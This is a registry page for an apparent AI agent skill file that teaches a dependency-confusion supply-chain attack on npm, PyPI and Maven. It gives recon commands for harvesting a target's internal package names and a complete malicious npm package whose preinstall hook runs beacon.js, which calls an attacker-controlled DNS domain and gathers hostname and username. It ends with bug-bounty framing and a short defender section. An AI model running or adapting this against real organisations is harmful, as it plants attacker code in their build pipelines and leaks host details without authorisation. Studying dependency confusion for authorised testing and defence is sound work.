CtrlK
BlogDocsLog inGet started
Tessl Logo

dep-confusion

Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

64

Quality

76%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md
SKILL.md
Quality
Evals
Security

Dependency Confusion (Alex Birsan 2021)

When an org uses internal private packages (e.g. @target-internal/utils) AND a build system that searches BOTH public + private registries, an attacker can publish a public package w/ the same name at higher version. Default resolvers pick highest version → public package runs in CI.

1. Reconnaissance — find internal package names

SourcePattern
package.json in public repo"@target/foo" scoped packages
package.json exfiltrated from web (/static/)dependency lists
Webpack bundlesleaked package.json strings
requirements.txt / Pipfile exposuretarget-internal-lib
pom.xml / build.gradle<groupId>com.target</groupId>
Github org code search@scope patterns in user/org-owned repos (sometimes accidentally public)
Stack Overflow / Stack Exchangeengineers asking about internal libs
Sourcegraph public indexbroad search across exposed orgs
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
  curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u

2. Verify the package is private

# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate

# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available

# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq

If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).

3. Build the malicious package

mkdir attack-pkg && cd attack-pkg

# package.json
cat > package.json <<'EOF'
{
  "name": "@target/internal-utils",
  "version": "999.0.0",
  "description": "auth-research only",
  "scripts": {
    "preinstall": "node beacon.js"
  }
}
EOF

# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');

// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});

// Also collect basic env w/o exfil (just locally print for testing)
console.log({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  hostname_dns: dns.getServers(),
});
EOF

4. Publish

npm publish --access public
# For org scopes, may need to register the @scope first

5. Wait + observe

Within hours-days, target's CI will pull 999.0.0. Burp Collaborator shows DNS hits.

6. Programs that PAY for this

  • Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
  • Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
  • Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier

7. PoC framing (for the report)

DO NOT:

  • Run any actual exploit logic
  • Exfiltrate any data
  • Steal credentials
  • Disable security

DO:

  • Generate a benign DNS callback (interactsh / Burp Collaborator)
  • Capture the timestamp + source IP from your callback log
  • Document the package as "research-only", deprecate it via npm immediately after PoC
  • Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"

8. Severity

BugSeverity
Confirmed install on production build infraCritical 10.0
Confirmed install on staging/devCritical 9.0
Internal package name exposed but no public install attemptHigh (depends on data)

9. Defender

  • Block public-registry fallback for scoped packages: .npmrc @target:registry=https://internal-npm.target.com/
  • Use lockfiles + integrity hashes (package-lock.json w/ integrity field)
  • For PyPI: pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages
  • Reserve internal namespace prefixes on public registries before they're used internally
  • npm: use the @org scope and publish a public empty placeholder w/ private field

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Dependency Confusion/
  • Alex Birsan's original writeup: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Known exemplars

  • Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
  • Multiple H1/BC programs continue to pay $3-30k for confirmed installs
  • Repeated incidents in 2022-2024 — pattern not dying
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.